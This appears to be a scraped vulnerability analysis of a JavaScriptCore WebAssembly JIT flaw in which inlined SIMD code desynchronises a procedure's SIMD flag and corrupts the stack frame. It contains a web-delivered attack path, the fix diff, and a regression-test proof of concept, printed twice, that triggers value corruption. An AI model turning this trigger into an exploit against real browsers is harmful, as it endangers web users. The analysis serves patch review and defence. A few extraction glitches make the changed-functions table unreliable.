CVE-2026-64780
Overview
Background
- B3 `Procedure`
- The top-level container for a B3 IR compilation unit (
Source/JavaScriptCore/b3/B3Procedure.{cpp,h}). It carries am_usesSIMDflag that tells the backend (Air code generation, register allocation, stack-slot sizing) that the function manipulates 128-bit vector (v128) values. - `setUsesSIMD()`
- Sets
m_usesSIMD = trueafterRELEASE_ASSERT(Options::useWasmSIMD()). The function was previously misspelledsetUsessSIMD()(extras), so the only caller using the correct intent could not find it / the real propagation path was missing. - WasmOMGIRGenerator
- The OMG-tier WebAssembly-to-B3 IR generator (
Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp).notifyFunctionUsesSIMD()is the hook called when SIMD operations are introduced into a function being compiled. - Inlining
- OMG can inline a SIMD-using callee into a caller that the module did not mark as SIMD-using, introducing
v128values into aProcedurethat believed it had none.
Root Cause Analysis
WasmOMGIRGenerator::notifyFunctionUsesSIMD() only asserted that the current function index was marked as SIMD-using: void notifyFunctionUsesSIMD() { ASSERT(m_info.usesSIMD(m_functionIndex)); }. It never told the B3 Procedure that the procedure actually produces/consumes v128 values. Compounding this, Procedure’s own setter was misspelled setUsessSIMD(), so the flag was only set from the Procedure(bool usesSIMD) constructor path. When a SIMD-using callee was inlined into a function the module declared non-SIMD, v128 values entered the Procedure while m_usesSIMD remained false. The backend then sized spill slots, laid out the stack, and allocated/preserved vector registers as if no 128-bit values existed, so live values could be clobbered or truncated — the stack/register state desynchronized from the real v128 usage.
The patch fixes the typo (setUsessSIMD → setUsesSIMD in B3Procedure.cpp and its declaration in B3Procedure.h) and makes notifyFunctionUsesSIMD() actually propagate the fact: it now calls m_proc.setUsesSIMD() in addition to the assert. The regression test (JSTests/wasm/stress/inline-wasm-simd-into-non-simd.js) defines a SIMD-using helper (i64x2.splat inside a thrown tag) and a caller A declared with only externref params/results; it tiers A up to OMG so the SIMD helper is inlined, then checks that 49 externref arguments survive the call unchanged — the “usesSIMD desync” it guards against is exactly the mis-sized frame overwriting live reference values.
Procedure’s m_usesSIMD flag — partly because the setter was misspelled and notifyFunctionUsesSIMD only asserted — so the backend laid out the frame without accounting for v128, corrupting live values.Attack Path
- Delivery Attacker serves a page that instantiates a crafted WebAssembly module (web-reachable).
- Craft modules
Define a helper function that uses SIMD (
v128) and a caller declared with non-SIMD signature (reference/integer params and results) that calls the helper. - Tier up Drive the caller to the OMG tier (hot loop) so OMG inlines the SIMD helper into the non-SIMD caller.
- Desync
notifyFunctionUsesSIMD(pre-fix) fails to set theProcedure’s SIMD flag, so Air allocates a frame/register plan that ignores the inlinedv128values. - Corrupt
Code generation overlaps or truncates stack slots/registers, clobbering live values — the test observes
externrefresults being overwritten. - Primitive Memory/register state corruption in JIT-compiled code; observed as value corruption and crash. If a non-cell value overwrites a reference slot it becomes a type confusion / controlled corruption — escalation beyond the crash is inferred, not shown by the diff.
Impact Assessment
Procedure’s usesSIMD flag is not set when SIMD is inlined into a non-SIMD function, so the backend mis-lays the frame and clobbers live values (the test corrupts externref results). The advisory labels it an “unexpected Safari crash” with “improved checks”; the diff shows the stronger memory-corruption root cause, though whether the clobber is steerable into a controlled read/write or type confusion is inferred, not proven by the diff. Gating: requires OMG tier-up and an inlining shape that pulls SIMD into a procedure not already flagged SIMD.Changed Functions
| Function | Change | Notes |
|---|---|---|
forJSTests/wasm/stress/inline-wasm-simd-into-non-simd.js |
modified | |
ifJSTests/wasm/stress/inline-wasm-simd-into-non-simd.js |
modified |
Files Changed
JSTests/wasm/stress/inline-wasm-simd-into-non-simd.jsSource/JavaScriptCore/b3/B3Procedure.cppSource/JavaScriptCore/b3/B3Procedure.hSource/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp
Audit Directions
- SIMD-flag propagationAudit every path that can introduce
v128into aProcedureafter construction (inlining, intrinsics, lowering) to confirmsetUsesSIMD()is called before backend layout. - Assert-only notificationsSearch for other
notify*/ASSERT-only hooks that are expected to mutate state but only assert, a pattern that silently loses an invariant in release builds. - Frame/register sizing on capability flagsReview where Air/register allocation decisions depend on
usesSIMD(or similar capability flags) and whether a stale flag can undersize the frame.
Patch
diff --git a/Source/JavaScriptCore/b3/B3Procedure.cpp b/Source/JavaScriptCore/b3/B3Procedure.cpp
index ec1af134843a..d9d168befdb8 100644
--- a/Source/JavaScriptCore/b3/B3Procedure.cpp
+++ b/Source/JavaScriptCore/b3/B3Procedure.cpp
@@ -56,7 +56,7 @@ Procedure::Procedure(bool usesSIMD)
, m_byproducts(makeUnique<OpaqueByproducts>())
{
if (usesSIMD)
- setUsessSIMD();
+ setUsesSIMD();
// Initialize all our fields before constructing Air::Code since
// it looks into our fields.
m_code = std::unique_ptr<Air::Code>(new Air::Code(*this));
diff --git a/Source/JavaScriptCore/b3/B3Procedure.h b/Source/JavaScriptCore/b3/B3Procedure.h
index 7e17a1428062..861f61de2532 100644
--- a/Source/JavaScriptCore/b3/B3Procedure.h
+++ b/Source/JavaScriptCore/b3/B3Procedure.h
@@ -287,7 +287,7 @@ public:
bool shouldDumpIR() const { return m_shouldDumpIR; }
JS_EXPORT_PRIVATE void setShouldDumpIR();
- void setUsessSIMD()
+ void setUsesSIMD()
{
RELEASE_ASSERT(Options::useWasmSIMD());
m_usesSIMD = true;
diff --git a/Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp b/Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp
index 4020e736208e..4670eba207ed 100644
--- a/Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp
+++ b/Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp
@@ -476,7 +476,11 @@ public:
// SIMD
bool usesSIMD() { return m_info.usesSIMD(m_functionIndex); }
- void notifyFunctionUsesSIMD() { ASSERT(m_info.usesSIMD(m_functionIndex)); }
+ void notifyFunctionUsesSIMD()
+ {
+ ASSERT(m_info.usesSIMD(m_functionIndex));
+ m_proc.setUsesSIMD();
+ }
WARN_UNUSED_RETURN PartialResult addSIMDLoad(ExpressionType pointer, uint32_t offset, ExpressionType& result);
WARN_UNUSED_RETURN PartialResult addSIMDStore(ExpressionType value, ExpressionType pointer, uint32_t offset);
WARN_UNUSED_RETURN PartialResult addSIMDSplat(SIMDLane, ExpressionType scalar, ExpressionType& result);
diff --git a/JSTests/wasm/stress/inline-wasm-simd-into-non-simd.js b/JSTests/wasm/stress/inline-wasm-simd-into-non-simd.js
new file mode 100644
index 000000000000..20ba8b3113d6
--- /dev/null
+++ b/JSTests/wasm/stress/inline-wasm-simd-into-non-simd.js
@@ -0,0 +1,54 @@
+load("../libwabt.js");
+
+const NUM_REFS = 49;
+
+let wabt = await WabtModule();
+
+let refParams = "", refResults = "", pushResults = "";
+
+for (let i = 1; i <= NUM_REFS; i++) {
+ refParams += " externref";
+ refResults += " externref";
+ pushResults += `(local.get ${i})\n`;
+}
+
+const wat = `
+(module
+ (tag $T (param i64 i64 i64 v128))
+ (func $B (param i64)
+ (throw $T (i64.const 0) (i64.const 0) (i64.const 0)
+ (i64x2.splat (local.get 0))))
+ (func $A (export "A") (param i64${refParams}) (result${refResults})
+ (try
+ (do (call $B (local.get 0)))
+ (catch_all))
+ ${pushResults}
+ )
+)`;
+
+const bin = wabt.parseWat("filenamesAreCool", wat, { simd: true, exceptions: true, reference_types: true, multi_value: true }).toBinary({}).buffer;
+const inst = new WebAssembly.Instance(new WebAssembly.Module(bin), {});
+const A = inst.exports.A;
+
+const sentinel = { marker: "SENTINEL" };
+const args = [0xan];
+for (let i = 0; i < NUM_REFS; i++)
+ args.push(sentinel);
+
+// Tier $A up to OMG.
+let last;
+for (let i = 0; i < testLoopCount; i++)
+ last = A.apply(null, args);
+
+let bad = -1;
+
+for (let k = 0; k < NUM_REFS; k++) {
+ if (last[k] !== sentinel) {
+ bad = k;
+ break;
+ }
+}
+
+if (bad >= 0) {
+ throw new Error("usesSIMD desync");
+}
Regression Test / PoC
diff --git a/JSTests/wasm/stress/inline-wasm-simd-into-non-simd.js b/JSTests/wasm/stress/inline-wasm-simd-into-non-simd.js
new file mode 100644
index 000000000000..20ba8b3113d6
--- /dev/null
+++ b/JSTests/wasm/stress/inline-wasm-simd-into-non-simd.js
@@ -0,0 +1,54 @@
+load("../libwabt.js");
+
+const NUM_REFS = 49;
+
+let wabt = await WabtModule();
+
+let refParams = "", refResults = "", pushResults = "";
+
+for (let i = 1; i <= NUM_REFS; i++) {
+ refParams += " externref";
+ refResults += " externref";
+ pushResults += `(local.get ${i})\n`;
+}
+
+const wat = `
+(module
+ (tag $T (param i64 i64 i64 v128))
+ (func $B (param i64)
+ (throw $T (i64.const 0) (i64.const 0) (i64.const 0)
+ (i64x2.splat (local.get 0))))
+ (func $A (export "A") (param i64${refParams}) (result${refResults})
+ (try
+ (do (call $B (local.get 0)))
+ (catch_all))
+ ${pushResults}
+ )
+)`;
+
+const bin = wabt.parseWat("filenamesAreCool", wat, { simd: true, exceptions: true, reference_types: true, multi_value: true }).toBinary({}).buffer;
+const inst = new WebAssembly.Instance(new WebAssembly.Module(bin), {});
+const A = inst.exports.A;
+
+const sentinel = { marker: "SENTINEL" };
+const args = [0xan];
+for (let i = 0; i < NUM_REFS; i++)
+ args.push(sentinel);
+
+// Tier $A up to OMG.
+let last;
+for (let i = 0; i < testLoopCount; i++)
+ last = A.apply(null, args);
+
+let bad = -1;
+
+for (let k = 0; k < NUM_REFS; k++) {
+ if (last[k] !== sentinel) {
+ bad = k;
+ break;
+ }
+}
+
+if (bad >= 0) {
+ throw new Error("usesSIMD desync");
+}